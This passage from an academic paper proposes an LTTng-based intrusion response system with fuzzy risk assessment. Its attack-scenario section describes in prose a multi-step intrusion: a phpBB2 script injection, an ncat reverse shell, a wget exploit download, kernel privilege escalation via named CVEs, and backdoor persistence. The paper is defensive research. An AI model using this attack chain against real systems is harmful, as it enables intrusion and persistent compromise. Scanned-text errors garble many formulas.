ticated multi-step attack to penetrate Web servers, as well as to acquire root privilege. Our
detection component is based on the Linux Trace Toolkit next generation (LTTng) tracer,
and our simulation results illustrate the efficiency of the proposed model and confirm the
feasibility of the approach in real time. At the end of paper, we discuss the various ways in

which an attacker might succeed in completely bypassing our response system.

5.2 Introduction

In the past ten years, we have seen impressive development in the way attackers gain
access to systems and possibly infect computers. Today, we see sophisticated attacks that
exploit a combination of vulnerabilities to compromise a target machine [89]. The chain of
vulnerabilities that the attacker is exploiting can link services on either a single machine or
those on different machines. The complexity of the attack makes it a challenge to accura-
tely calculate the risk impact, and then there are the many challenges involved in designing
the Intrusion Response System (IRS) itself, which include finding answers to the following

questions : Is the attack harmful enough to warrant repelling? What is the value of the
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compromised target 7 Which set of responses is appropriate for repelling the attack ? Risk
assessment is the process of identifying and characterizing risk. The result of the risk assess-
ment is very important, in terms of minimizing the cost to performance caused by applying
all the available sets of responses, as a subset of the responses may be enough to counter
the attack. In other words, risk assessment helps the IRS determine the probability that a
detected anomaly is a true problem and can successfully compromise its target [34].

The Linux Trace Toolkit next generation (LTTng) [3] is powerful software that provides a
detailed execution trace of the Linux operating system with low impact. Its counterpart, the
User Space Tracer (UST) library, provides the same trace information from user mode for
middle-ware and applications [90]. The Remote System Explorer (RSE) collects traces from
multiple systems [4]. After all the traces have been collected, we then need a powerful tool
to monitor the health of a large system on a continuous basis, so that system anomalies can
be detected promptly and handled appropriately.

The aim of this paper is to propose a framework to continuously monitor the health of a
multi-core distributed system, in order to detect and handle malicious or unauthorized activi-
ties. Once the alerts have been reported, the framework needs first to assess the risk impact,
and then to choose and run appropriate strategies to trigger responses. The main contribu-
tions of this work are the following : 1) A novel response execution, called the retroactive
burst : The term retroactive refers to the fact that we have a mechanism for measuring the
effectiveness of the applied response; however, we do not apply a set of responses in burst
mode, so as to prevent the application of high impact to the network. The term burst refers to
the application of two responses to repel an attack, when the total goodness of the responses
already applied was not sufficient to do so. 2) Multi-level responses to counter an attack : This
strategy helps control cost, in terms of performance, as an accurate online risk assessment
procedure measures the risk impact and enables us to select a response more intelligently.

The paper is organized as follows : First, we investigate earlier work and several existing
intrusion response methods. Then, in Section [5.4] we discuss the proposed model. We present
our experimental results in Section [5.5. Finally, we conclude the paper and discuss future
work in Section 5.6

5.3 Related Work

5.3.1 Intrusion Response System

Automated response systems try to be fully automated using decision-making processes
without human intervention. The major problem in this approach is the possibility of exe-

cuting an improper response in case of problem [28]. It can be classified according to the
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following characteristics :

(i) Response selection : there are three response selection models : 1) A static model,
which maps an alert to a predefined response. This model is easy to build, but has a major
weakness, in that the response measures are predictable ; 2) A dynamic model, which is based
on multiple factors, such as system state, attack metrics (frequency, severity, confidence, etc.),
and network policy. In other words, the response to an attack depends on the targeted host.
One drawback to this model is that it does not consider intrusion damage ; 3) A cost sensitivity
model, which is an interesting technique designed to relate intrusion damage to response cost.
To measure intrusion damage, a risk assessment component is needed.

(ii) Adjustability : 1) Non adaptive approach. In this case, the response selection
mechanism remains the same during the attack period, and does not use the response history
to order responses. 2) Adaptive approach. In this case, the system has an appropriate ability
to automatically adjust response selection based on the success or failure of responses in the
past [68].

(iit) Response execution : there are two types of response execution [5] : 1) Burst. In
this model, there is no mechanism for measuring the risk index of the host/network once the
response has been applied. Its major weakness is the performance cost incurred by applying
all the responses, where a subset of responses may have been enough to repel the attack. 2)
Retroactive. In this approach, there is a feedback mechanism with the ability to measure the
response effect based on the result of the last response applied. There are some challenges
in this approach, for example, how to measure the success of the last response applied, and
how to handle multiple concurrent malicious activities [68].

Foo et al. [68] proposed a graph-based approach, called ADEPTS, in which the responses
for the affected nodes are based on parameters such as the confidence level of the attack,
previous measurements of responses in similar cases, etc. Thus, ADEPTS uses a feedback
mechanism to estimate the success or failure of an applied response.

In [29], Stakhanova et al. proposed a cost-sensitive preemptive IRS that monitors system
behavior in terms of system calls. The authors present an IRS that is automated, cost-
sensitive, preemptive, and adaptive. The response is triggered before the attack is completed.
There is a mapping between system resources, response actions, and intrusion patterns which
has to be defined in advance. Whenever a sequence of system calls matches a prefix in a
predefined abnormal graph, the response algorithm, based on the confidence level threshold,
decides whether to attempt to repel the attack or not. If the selected response succeeds in
repelling the attack, its success factor is increased by 1; otherwise, it is decreased by 1.

In [23], Lee et al. proposed a cost-sensitive model based on three factors : damage cost,

which characterizes the amount of damage that could potentially be caused by the attacker ;
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operational cost, which illustrates the effort required for monitoring and detecting the attacks
by an IDS; and response cost, which is the cost of taking action against an attack.

The retroactive approach was first proposed by Mu and Li [28]. They presented a hierar-
chical task network planning system to repel intrusions. This model is capable of avoiding
unnecessary responses and of reducing the risk of false positive responses by adjusting the
risk thresholds of subtasks. The interesting idea in this paper concerns response time de-
cision making, and involves estimating the execution time of each response. Each response
is associated with a static risk threshold, and the permission required to run the response

represents the current risk index of the network.

5.3.2 Kernel level event tracing

Over the years, various tools have been implemented to trace operating system behavior
by recording kernel events. Some of the most readily applicable tracing tools are Ftrace,
Dtrace, Systemtap, and LTTng [3]. The proposed model is designed for the LT Tng tracer in
online mode. The most significant challenge for all tracing tools is to minimize the impact
of tracing on the traced computer. Not only does LTTng have a very low overhead, but it is
also capable of tracing kernel space and user space activities. These specific characteristics
of LTTng help in the monitoring of a broad range of computer activities. Another feature
that distinguishes our model from previous models is that detecting and analyzing multi-step
attacks are based on a precise tracer (LTTng) to help us applying appropriate responses

before the attack makes a computer resource unavailable to its intended users.

5.4 Proposed Model

5.4.1 The architecture

Figure illustrates the proposed structure of our automated IRS. The architecture of
our system is briefly introduced here, and the details of each component are given in later
subsections. We used the next generation Linux Trace Toolkit, LTTng, which is a low impact,
open source kernel tracer, to instrument the kernel events. A detection component simplifies
the analysis of the low level events. It compares captured data with well defined attack
patterns. The pattern matching technique has the advantage of being deterministic, and it
can be customized for each system we want to protect.

The online risk assessment component evaluates the real time risk. According to the
result of that assessment, the response activation module of the response system component
decides whether or not to attempt to repel the attack. Response activation module calls

response coordinator module if a real problem arises. Response coordinator module suggests
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one or more responses based on certain predefined factors. Then, the response activation
module starts to initialize the lifetime of each response and sends it to the run plans module.
Since we hope that the applied responses can control the progress of the attack, the response
activation module has to indicate the new risk level.

The open channel module attempts to connect to a remote agent running on the target
host. We chose the RSE as the remote agent, since it is a lightweight and extendable com-
munication daemon. After establishing a channel to the RSE, the run plans module applies
responses on the target computer. The response deactivation process is responsible for deac-
tivating the applied responses based on their lifetime. This process also has to update the

response effectiveness based on certain predefined factors.

5.4.2 Attack Impact Analysis

The output of an IDS is streamed data, which are temporally ordered, fast changing,
potentially infinite, and massive in quantity. There is not enough time to store all these
data and rescan them as static data. If we were to connect the detection component to the
intrusion response component, the impact on our network after a few hours would be huge,
and result in a DoS [5]. Our goal of designing a risk assessment component is to help make
response systems more intelligent, both in terms of preventing a problem from growing and
in returning the system to a healthy mode.

Since the risk assessment component must handle the output of an IDS, which is streamed
data, appropriate algorithms must be found to deal with them. Risk assessment is the process
of identifying, characterizing, and understanding risk [34]. The result of the risk assessment
is very important in terms of minimizing the impact on system health when a problem has
been detected. The impact of the current alert is determined by an online risk assessment
mechanism. As Figure [5.1] illustrates, we consider two major sub components to meet risk
assessment goals : offline and online processing. In the offline process, we indicate the value
of the resources and how vulnerable they are.

Briefly, Algorithm [I] illustrates the pseudocode of the online process. When an alert is
raised by an IDS, the risk assessment component extracts the resource value (line 1) and
the vulnerability effect value to which this alert is related (line 2). Based on certain factors
(lines 3-6), the threat effect is calculated, and then the risk impact is computed (line 7). We
denote the previous and new risk impact for alert n as RI(n), and RI(n), respectively. The

risk impact calculation for each alert grows incrementally, so that :

Vi, RI(n), > RI(n), (5.1)
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ALGORITHM 1: Risk Impact
Require: 7 : new alert
Require: RI : risk impact array
Require: 7 : alert frequency array
Require: ¢ : acceptable alert frequency array
Require: ¢ : frequency of alerts per resource array
A = ResourceV alue(whichResource(n))
V = VulnerabilityE f fect(whichResource(n))
19 = nseverity
T(Mn =70y + 505
(A = Y(A)p +7(1)n
T = ThreatE f fect(9, 7(0)n, Y(A),)
RI(n), = RiskImpact(A,V,T)
NewRiskImpact = RI(n), — RI(n),
return NewRiskImpact

Below, we discuss the risk impact calculation mechanism in detail.

Offline Processing

First, the important coefficients for the basic goals of information security, which are
confidentiality, integrity, and availability (CIA), are determined [§]. Confidentiality ensures
that any authorized user only has access to certain resources. Integrity verifies that any
authorized user can modify resources in an acceptable manner. Availability means that the
resources are always accessible to the authorized users. Second, the basic goals of information
security are used to calculate the value of each resource. Then, vulnerability indices are
created for each resource separately. All the calculations in this phase are performed using
the Fuzzy Multi-Criteria Decision-Making (FMCDM) technique [91]. In this model, linguistic
variables are used to obtain expert opinions for weighting criteria and for rating alternatives.

— CIA Triad Evaluation : This step is key to calculating the organization’s risks, and

we can determine which of these three complimentary goals is more important to an
organization. The weight of confidentiality (C'), integrity (I), and availability (A4) are
denoted as we, wy, and wy respectively. We use n experts (e) to evaluate the CIA
triad. Z;* illustrates the expert opinion e in domain i. Obviously, the larger the number
of experts, the better the risk assessment. Finally, the base of the CIA triad can be

calculated using the following formula :
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i€l,2,3]

k€ [Ey, By, ..., By

zF = (a,b,c)

we = G [77 (H) TP () ()77 (5.2)

Wy = L [75 ()75 (+)...(+)75"]

n

wa = 5[5 ()78 (+)..(+)25]

n

W = [We, Wy, W4l
— Resource Identification and Classification : Classifying resources has a very important
role to play in information security management, and doing so properly will help us
achieve effective resource protection. Methods have already been proposed to classify
resources in organizations. Table illustrates a resource classification on each host.
It is obvious that every alert from the detection component has to indicate the related
resource. The main question that comes to mind is, how can the detection component
extract resources from LTTng traces ? The detection component needs to work with the
abstraction component, rather than with raw LTTng traces. The abstraction component

has to identify which portions of the traces are related to which resources.

Table 5.1 Resource Classification.

Section Sample

Application resource Programming, Office, Graphic, System Tools, etc.
Kernel resource Kernel Module, Filesystem °
Local service resource Udev (Linux Userspace Device Management), Print
Network service resource Mail, web, DNS, DHCP, Media, etc.

Physical resource CPU, Memory, Network Interface, Hard Disk, etc.

— Resource Value : The CIA triad should be used to calculate the value of each resource.
We use n experts to evaluate each resource. To obtain better results, we could seek help
from different experts for each group of resources in the security cube. For example,
network experts should evaluate network resources such as servers, clients, and firewalls ;

software experts should evaluate software resources such as Web applications; and so
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on. Expert opinions in each domain regarding the value of each resource are obtained in
the form of linguistic variables. Every expert assigns a value from the list of linguistic
variables to each part of the CIA triad. For example, a large number of important
linguistic variables for confidentiality means that this resource’s privacy level is very
high, and fewer linguistic variables for availability means that the availability of the

resource is not as important. The resource value could be calculated as follows :

i€ll,2,3]
J € [A1, Ag, ..., Aj]
ke |Ey, Es, ..., E]

T} = (a,b,¢c)
(5.3)
Tij = +[E0 ()2 (4)..(H) 7]
C I A
Al 2%11 le '%13

A= Ay | To1 Toa Tos

An Tn1 Tn2 Tn3

The next step is to linearly normalize the consolidated matrix through the following
relationship (category B is related to the incremental criterion, and category C is related
to the decremental criterion) [87] [86] :

9 by G if je B

Fo=d 9799
a . a.. a. . . .
Lok ifjed
3 ] )
(5.4)
. :
¢; =max ¢ if jeB

Then, the combined weights (w¢,wr, wa) are defuzzified, using the Signed Distance

method (we.def, wr.def, ws.def), and normalized using the following formula :
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i€l,2,3]

w;.def (55)

Zwi.def

After defuzzification of each criterion, we calculate the weight matrix :

w,def =

T11 Tz o Tin wc.def
Tor Toa -+ Top * | wr.def (5‘6>

The final step is to establish the resource value matrix by combining the criteria and
the defuzzification of fuzzy values by the Signed Distance method for each resource.

AV illustrates the calculation of a resource value based on the CIA triad.

C’,f,fl:(a,b,c)

AV, =C+1+A

AV .def = wt2bie

(5.7)

Al AVldef
A= Ay | AVhdef

A, | AV, .def

— Vulnerability Effect : A vulnerability is a flaw or weak point in the design or imple-
mentation of a system security procedure. It could be exploited by an attacker or may
affect the security goals of the CIA triad. We represent the vulnerability effects with
a percentage, and, for better accuracy, we obtain help from n experts. We define two
criteria : 1) Threat Capability (TC), which illustrates the extent to which the attacker
is capable of compromising a resource. Expert opinion in evaluating this factor for each
resource is based on the recent history of threats against the resource; and 2) Control
Strength (CS), which indicates the extent to which each resource is resistant to all rele-
vant threats. A low linguistic variable for the CS factor means that all threats related
to this vulnerability have a high probability of occurring [92]. The vulnerability effect

could be calculated as a resource value, but the final step in this case is different. In the
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final step, we first defuzzify the fuzzy values using the Signed Distance method for the
TC and CS attributes of each resource. Then, we establish the resource vulnerability
matrix. This matrix represents n resources with two attributes. Finally, we calculate

the vulnerability effect using the division function :

TC,CS = (a,b, c)
TCi.def,CS;.def = 2

Al TC'ldef C'Sldef 58
A2 TCQde C’Sgdef ( ’ )

A, | TC,.def CS,.def

Online Processing

Once it has received an alert, the risk assessment component has to measure the risk
index. As discussed for offline processing, two values related to each resource are available. In
the first step, we have to indicate the resource to which this alert is related, or which resource
is the target of the attacker.

As Figure [5.1] shows, three parameters are defined to indicate the threat effect :

— Priority of alert (¢) : This parameter indicates the severity of the threat. Each alert

has three priorities : low, medium, and high.

— Frequency of alert (1) : This parameter represents the alert frequency per day.

— Number of alerts per resource (1) : This parameter indicates how many attacks are
targeting a resource. The more alerts are detected in a resource, the more likely it is
that the threat is real. An increase in the number of alerts in a resource means that
the attacker is attempting to use different attack techniques to compromise the target.

We use the Fuzzy model to calculate the threat effect. The first step in this model is
fuzzification. Figure [5.2] shows the membership functions for the parameters ¢, 7, and .
As mentioned, these parameters have variations, each alert having three severities : low= 1,
medium= 2, high=3 . So, ¥ varies between 1 and 3. We consider a parameter to store the
acceptable number of alerts for each attack type (¢). Based on ¢, the number of alerts 7 for

the ¢th time can be calculated as follows :
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T(i)y =7 = 1)y + 4 (5.9)

1
o
(&) depends on how many signatures have been defined for each resource.

So, T varies between = and infinity for each alert type. The number of alerts per resource

The inference engine is fuzzy rule-based, and it is used to map an input space to an output
space. Table [5.2] illustrates the inference engine rule table for the threat level.

Finally, we proceed to defuzzification, which involves building another membership func-
tion to represent the various possibilities identified by the threat effect, as displayed in Figure
b.2dl Two of the most common techniques are the centroid method and the maximum me-
thod. In the centroid method, the crisp value of the output variable is computed by finding
the center of gravity of the membership function. In the maximum method, the crisp value
of the output variable is the maximum truth value (membership weight) of the fuzzy subset.

The centroid method is used in our model.

Fuzzy modeling of the attack impact

Up to now, we have prepared the online and offline output : threat level, resource value, and
vulnerability effect. Since the fuzzy method is quick and precise in assessing risks, another
fuzzy model is used to model the attack impact. The risk impact is modeled using three
parameters : resource value (A), vulnerability effect (V'), and threat effect (T'). Below, we
show how the risk impact can be calculated with the fuzzy model.

— Fuzzification : As Figure shows, three membership functions are used for the three
inputs. We now look at the fuzzy membership function of the resource value and vulne-
rability effect and see how the low, medium, and high intervals are defined. As mentio-
ned, resource value and vulnerability effect computation involves three and two factors
respectively, which are based on the FMCDM technique. First, let us see what are the
highest and lowest values in this technique. In the experimental section, we explain
that the lowest linguistic variable is labeled "Very Poor”, with a (0,0,1) value, and the
highest value is labeled "Very Good”, with a (9,10,10) value. So, if the evaluation of an
attribute involves the highest and lowest variables, the highest value after normalization
will be (3,12, 10) = 0.975 and the lowest value will be (55, 5, 15) = 0.025 (Eq. [5.4).
Also, we have to multiply the normalized value by the importance value of the criteria.
Since the criteria after defuzzification also vary between 0.975 and 0.025, an attribute
varies between 0 and 0.95. Moreover, since the resource value is based on the sum of
three attributes, it varies between 0 and 2.85.

Let us now look at the vulnerability effect variation. We define the lowest vulnerability
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Table 5.2 Rule table for the threat level
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Figure 5.2 Three level membership functions for threat effect calculation

86

as the best configuration for a resource with the smallest number of existing attacks. It

is obvious that the highest vulnerability does not respect the previous definition, based

on which V; = % = U _ — (. If the security configuration of a resource is within the

0.955

range of the medium linguistic variables and the rate of related attacks is average as

well, the value V,,, = 2. This value will represent an average number in the medium

range and at the low end of the high range. So, V;, =V, 4+ 2.

As discussed, the threat effect calculation is based on a fuzzy model, and the defuzzi-

fication process is based on the center of gravity, and so the output varies between 0

and 0.83. We divide this variation into three equal intervals.

— Inference Engine : The required rules for online risk assessment are created as illustrated

in Table 5.3

— Defuzzification : Finally, we build another membership function to represent the various

possibilities identified by the risk assessment, as displayed in Figure

5.4.3 Response System

In general, we can categorize all responses into three groups [7]. Those in the first group

are instantaneous, and deactivation occurs at the moment they are activated, such as closing

a network connection or restarting a daemon. Those in the other two groups are sustained.
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Figure 5.3 Membership functions of risk factors

Table 5.3 Rule table for the risk level

Rule | T" VA | Output

1 L - - L
2 M L - L
3 M M - L
4 |M H - M
5 H L - M
6 H L I M
7 H M I M
8 H H I H
9 H L C M
10 | H M C H
11 |H H C H
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Responses in the second group can be deactivated after a period of time, such as blocking a
port, and are referred to as reversible, but those in the third group, such as applying a patch
or upgrading software, are not reversible. So, each response has a type attribute (Ryy.). We
also define two time attributes for each response : 1) Start Time (Rsr) : the time when
an IRS decides to activate a response; and 2) Life Time (Rpr) : the number of minutes a
response is valid before it is deactivated. The response system has to indicate how and when

the response should be activated or deactivated, based on risk impact tolerance.

Response activation

When an attack occurs, an alert is raised by the IDS. The risk assessment component
measures the risk impact. Once the first response has been applied, we do not measure the risk
impact, because that impact changes when a new attack occurs or during a previous attack
[93]. In the other words, we wait until we receive the new alert to measure the risk impact
after a response has been applied. Algorithm [2] illustrates the pseudocode of the response
activation mechanism.

There are three risk impact tolerance scenarios, as Figure illustrates : (i) Under the
threshold and before the response is applied : the attack is in progress, but the total amount
of risk still has not exceeded the threshold of the activation responses (73,). We denote as RI,
and RI, the previous and new risk impact respectively. In this case, the current risk impact

(RI.) is the sum of the previous and new risk impact :

RI. = RI,+ RI, (5.10)

(ii) Above threshold : the attack is in progress, and ultimately the risk impact exceeds
the threshold of the activation responses. In this case, the response system is responsible
for preventing the problem from growing and for returning the system to a healthy mode.
The Response Coordinator module finds the best response(s), and in the next subsection we
explain how the response selection mechanism works (line 7). We have defined a global Grant
attribute (£) between responses. This attribute indicates how many times the risk impact
has passed the threshold and a response has been applied. When we apply a response, (§)
increases by 1 (line 6). Every time the risk impact passes the threshold and we decide to
apply a response, the global lifetime (6) is updated (line 13). Since, how high is the number of
attacks, responses are deactivated later, the global lifetime function increases exponentially,
based on A, which represents how many times the risk impact passes the threshold for
different types of alert (lines 2-5). This means that, if the risk impact passes the threshold

for a particular type of alert, and we have applied different responses frequently, A must be
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Figure 5.4 Risk impact tolerance vs. response selection

equal to 1. The start time attribute of each response is initialized based on the current time,
and the lifetime attribute is equal to the global lifetime.

There is only one case where the lifetime of a response will not change once a response is
applied, and that is when its lifetime is about to expire and no subsequent response has been
applied. Otherwise, when the plan is to deactivate a response, its lifetime is extended based
on the global lifetime, as Figure illustrates.

(111) Under the threshold and after the responses have been applied : since we hope that
the applied responses can control the progress of the attack, the risk is initialized to a level
below the threshold (¢). This means that the next risk impact has to go to the desired
level, or be less than T,. ¢ is dynamic, and is based on how successful the response was in
repelling the attack. We define a Goodness parameter (G) for each response. Goodness is a
dynamic parameter that represents the history of each response, in terms of its success (S) or
failure (F). To measure the success or failure of a round of responses, we use the deactivation
algorithm. In the response deactivation section we explain how we set the success and failure
attributes by comparing response grant and the global grant values. The important point to
bear in mind is that the most recent results must be considered more valuable than earlier
ones. To consider time, we use an aging algorithm to calculate G, as Eq. illustrates. Wy

denotes a window that can be a day, a week, or a month.
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Goodness(Wy) =

Goodness =y ,_, Goodness(W) (5-11)

—2 < Goodness < +2

Figure [5.5| illustrates the history of a specific response effect on attacked machines over
three months. The duration of the sliding window is one month (W& = three months ago,
W2 = two months ago, W1 = one month ago). In the first step, we have to calculate G for
each window separately. Eventually, the overall G value can be calculated by summing the

Goodness of all the windows :

Goodness(Wy) = [(1 —4)/(1+4)]/1 = —-0.6

Goodness(W53)

(2—0)/(2+0)]/2=+0.5
(5.12)
Goodness(W3) = [(10 — 1)/(10 4+ 1)] /4 = +0.2

Goodness = 0.1

Finally, ¢ can be calculated as in Eq. (line 22). Rg denotes the current value of G
based on Eq. .11} G4 and G,,;, are 2 and -2 respectively

=T, (& - (—Gmaﬁ%mm‘ xT,)) (5.13)

Our Goodness formula in Figure [5.5] illustrates that G is 0.1. So, ¢ for this response is
0.53, which is a value that indicates that this response will return the system to a healthy
state of 0.47 percent, and that the current risk will be 0.47 above 0.

EEREEERERE

Time

Figure 5.5 Using an aging algorithm to calculate Goodness over time.
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Response Coordinator

Several works have been devoted to building a response selection mechanism based on the
positive effects (P) and negative impacts (V) of the responses [27, 28, 29]. A common solution
is to evaluate the positive effects based on their consequences for the CIA triad, and for the
performance metric. To evaluate the negative impacts, we can consider the consequences
for the other resources, in terms of availability and performance. (i) The first approach to
calculate the response cost (RC') will result from the merging of the positive and negative
factors. If the positive and negative factors are static, the sorted list of responses will remain
static throughout an attack, and so it may be predictable by an intruder. We can use the
Goodness factor to convert this list to a dynamic one, as illustrated in Eq. [5.14]

RC = f(P,N)+G (5.14)

Even though the strong response is not at the top of the ordered list when we initialize
the response system, G being a dynamic factor causes it to move to that position over time.
The higher the Goodness factor, the higher the response places in the ordered list over time.
One drawback to using G is that it blocks the response selection mechanism after a while.
Since a strong response is better able to repel an attack, its Goodness attribute increases all
the time. If we sort the responses based on GG, we will be selecting the strong response all the
time after a while, which is not what we want. Another drawback is that Quality of Service
(QoS) in the network is not considered. As we know, many services are available and accessed
by large numbers of users. It is extremely important to maintain the users’ QoS, the response
time of applications, and the critical services that are in high demand. Since, when we use G,
the strongest response is selected in case of attack, we are restricting network functionality
until the response is deactivated.

(ii) The second approach is not to consider G in the response cost formula, and instead
start with a poor response when the response system decides to deactivate all the applied
responses. It does not matter if a poor response is applied, because in this case the risk
level slips under the threshold, based on the response Goodness, and brings us very close to
the threshold again. This approach has two important benefits. The first is that all the non
optimal responses will be reconsidered, and one or more of them may be able to prevent the
attack this time. So, even if one of the responses applied previously was inefficient, it may
work for a new attack. The second is that users needs are considered in terms of QoS. So, in
this approach, we start with a poor response, and, when the attack is likely to prove dangerous
for our network, stronger responses are applied and network functionality is reduced slowly.

It is the second approach that we use in this work. Our response coordinator module
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attempts to relate the intrusion damage (attack progress) to the response impact. Algorithm
illustrates the pseudocode of the response coordinator module. The response coordinator
selects response(s) from the top of the list first (line 7). While the attack is progressing, it
selects the next strongest response (line 10). We define a concept of the set (¥) in the ordered
list, which indicates how many responses can participate in repelling the attack when the risk
impact exceeds the threshold.

A set can consist of two different types of response. First, ¥ is equal to I (line 4), which
means that only one response is applied when the risk impact exceeds the threshold. When
the averaged Goodness of all the responses is less than —0.5 (line 1), ¥ will change to 2 (line
2). It also means that the responses had been applied individually in the past and could not
repel attacks, although they were, in fact, applied together, but with different time intervals.
When it comes time to deactivate the most recently applied response(s) and the deactivation
process is allowed, the system moves to the healthy mode. So, £ and the previous risk impact

will be zero. Again, the response coordinator proposes the first response on the ordered list.

Response deactivation

Algorithm ] illustrates the pseudocode of the response deactivation mechanism. The res-
ponses are deactivated interdependently, as a chain. Earlier responses have to wait for later
responses to be deactivated. This is an example of deactivation interdependency. Let us sup-
pose a Web server is being subjected to a multi-step attack.

We apply Ry = R_Not_allowed_host(attacker_IP), Ry = R_Block_receiver_port, and
R3 = R_Disable_daemon respectively to counter the attack at different times, whenever the
risk impact passes the threshold. It is clear that R3 has to be deactivated first. Once this is
achieved, R, and R, are deactivated simultaneously. The & value is critical in the decision on
response deactivation when the lifetime of a response is about to expire. £ is shared among
responses, and represents how many times our network was under serious attack, and, at the
same time, how many times the response system applied a set of responses. In contrast, each
response (Tgrane) has its own grant attribute. When we apply a response, we initialize this
attribute to £&. When it comes time to deactivate a response, we compare the response grant
value (rgrant) with the global grant ().

Because the strong response appears later and has a longer lifetime than the earlier,
weaker response, the deactivation of the initial responses takes place earlier. If rg.qn: is less
than £ (line 16), we know that we had one or more real attack(s) after this response was
applied, and other, more powerful responses were then applied. So, not only does the F' value
of this response have to be increased by 1 (line 17), the lifetime of this response has to be set

to the response lifetime most recently applied (line 20). When it comes time to deactivate a
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response and 7grqnt and € are equal (line 1), we know that this response is the latest one to be
applied and that the deactivation process is allowed. This also illustrates that the response
could counter the attack, in which case its S value has to be increased by 1 (line 7). If the
type of response is Sustained Reversible, it has to be deactivated (line 3).

Even if we apply a set of responses, we only increase the global grant by 1. The important
point to note here is that the first response is responsible for increasing the global grant in
cach set. That is why we have defined a "grouped” attribute (Rgrouped) for each response in
a set (line 16, algorithm [2). Decreasing the global grant attribute by I helps to deactivate
all the dependent responses simultaneously. If a set repels an attack, the value of all the

responses in a set, whether successful or failed, is the same.

5.5 Experiment Results

5.5.1 Implementation

We have implemented a Java tool in Linux, which consists of three major components :
1) Detection. The tool takes the LTTng trace as input and uses the Java library provided
by Ezzati and Dagenais [94] to prepare abstracted events. Some patterns in XML format
have been defined to detect an attack. 2) Risk assessment. First, the tool allows the security
expert to input : (i) network policy in terms of CIA; (ii) a list of network resources and their
evaluation in terms of CIA; and (iii) the vulnerability metrics for each resource. Second,
in online mode, it receives alerts from the detection component and prepares a risk impact
value. 3) Response. It receives a risk impact value from the risk assessment component and

runs its cost sensitive algorithm to counter the attack.

5.5.2 Simulation Setup

For performance testing, the Linux kernel, version 2.6.35.24, is instrumented using LT Tng,
version 0.226, and the simulations are performed on a machine with an 8-core Intel Xeon
E5405 clocked at 2.0 GHz with 3 GB RAM. On the Web server, the detailed trace for
monitoring and attack detection is generated at the rate of 385 KB/sec.

We considered a network model, as illustrated in Figure 5.6 to evaluate our prediction
results. It shows a network that consists of an external DMZ and five subnets. The external
user (Internet user) can use only the company Web site and email service. All ports of IP
192.168.10.3 used internally by the MySQL database are closed to external users. The external

DMZ is more likely to be attacked than internal or private subnets.
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5.5.3 Attack Scenario

The scenario of an attack is a sophisticated one. In the first part, the attacker attempts to
gain unauthorized access to a computer from a remote machine by exploiting system vulnera-
bilities (R2L). In the second part, he tries to obtain root privileges illegally (U2R). The steps
have been grouped into five phases : 1) Phase 1 (Probing) : The attacker performs network
and port scans to probe a network to find available services. The objective in this step is
to gather useful information (nmap tool) to compromise the target host. The nmap results
illustrate that there is a Web server, and so the attacker continuously runs the Skipfish tool
to detect security flaws. The Skipfish results illustrate that forum phpBB2 is available on
the server. 2) Phase 2 (Exploit phpBB) : The attacker exploits the phpBB2 2.0.10 ’view-
topic.php’, which has a remote script-injection vulnerability, allowing a remote attacker to
execute arbitrary PHP code [95]. In fact, the attacker provides data to the vulnerable script
through the affected parameter. The highlighting code employs a 'preg_replace()’ function
call that uses a modifier ’e’ on attacker supplied data. This modifier causes the replacement
string to be evaluated as PHP. As a result, the attacker can execute any commands on the
server directly, like an Apache user can (CVE-2005-2086 [96]). In this step, the attacker is
looking to provide a user friendly access to the remote system, and so creates a reverse com-
mand shell. First, he sets up a listener on his machine. Then, he runs the ncat command via a
remote script injection vulnerability. 3) Phase 3 (Download exploit) : The attacker downloads
an exploit using wget from his machine. 4) Phase 4 (Exploit linux kernel 2.6.37 to obtain
root) : This exploit leverages three vulnerabilities (CVE-2010-4258, CVE-2010-3849, CVE-
2010-3850) to obtain the root. (All these vulnerabilities were discovered by Nelson Elhage
[97]) The attacker goes on to compile the program in the target machine and then executes
it, so that it becomes the root. 5) Phase 5 (Install a permanent access) : Once the attacker
is a root, he wants to maintain a permanent root access (even if the administrator has fixed
the vulnerabilities), and also erase his tracks. To maintain access, the attacker has a number
of choices : (i) create a user and do what is necessary to obtain a permanent root access (uid
0, sudo, and an easily callable root ‘gateway’, like the root-sh command) ; (ii) run a daemon
as a root offering a root shell (this starts on reboot (the backdoor approach); however, the
process is not called ’./backdoor’ if it were, the attacker would be detected as soon as an
administrator looked at the process list) ; and (iii) implement the kernel level rootkit : this
can give the attacker a kind of invisible shell access. Finally, the attacker creates a new user

on the target machine.
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5.5.4 Attack Detection

We use the Linux Trace Toolkit LTTng to instrument the kernel events. Our detection
component simplifies the analysis of the low-level events, and compares the captured data
with well-defined attack patterns. Below, we describe in detail how each step of our attack
scenario is detected by our detection component.

As we know, the raw trace is extremely large and difficult to analyze, and so we use
an abstraction mechanism [94] to elicit useful information from it. To enable the detection
component to generate an efficient alert, a correlation mechanism is used, based on the
similarities between event attributes in the abstracted trace. Figure shows a screenshot
of the abstracted trace that was recorded on an attacked machine where the Apache server
was running. The first phase involves network scanning to find weaknesses and open doors
to make it possible to break into that machine. As lines 1 to 8 show, there is a huge number
of connections with a closed timestamp. We use a threshold detection mechanism to reveal
any network scanning taking place. If the values exceed the thresholds, an alert is raised by
the detection component. For this step, three alerts, each called a web application scan, are
raised based on three thresholds (see step 1 in Figure 11). The first line shows that the Apache
process is running with process ID (PID) 12830. In the second phase, the attacker exploits
'viewtopic.php’, which has a remote script injection vulnerability. As seen in lines 9 to 12,
one 'apache2’ process receives the request from the attacker machine and spawns a process
with PID 18322 to perform the request (line 13). The important point to note appears in
line 15, which indicates that Apache has created a shell process (/bin/sh). At this point, the
next alert, “apache executes shell”, is raised by the detection component. As mentioned, in
this phase, the attacker creates a reverse command shell to provide user friendly access to
the remote system. Lines 16 and 17 show that the Apache process with PID 18322 spawns
a shell for ncat (/usr/bin/ncat) with PID 18323. Then, the alert ncat by apache is raised.
'net.socket create’ and 'net.socket connect’ in lines 18 and 19 illustrate that ncat is connecting
to a remote host, which is the attacker machine. So, the next alert is “ncat connects to remote
host”. In line 20 (fs.exe), the alert ncat executed shell appears, and, since a connection has
been established, ncat can now execute an external command, which is a really dangerous
situation. The fourth and final important alert generated in the second phase is "ncat executes
shell”. (see step 2 in Figure |5.11)).

Lines 21 to 24 show the attempt made in the third phase by the attacker to download an
exploit using wget from a remote machine. As we have seen, PID 18323 spawns a process with
PID 18324 (/usr/bin/wget), and then the new process creates a socket to download an exploit
alert. The next alert, called 7shell erecutes wget”, is raised by the detection component. In

the fourth phase, the program is compiled in the Web server machine. So, a process with PID
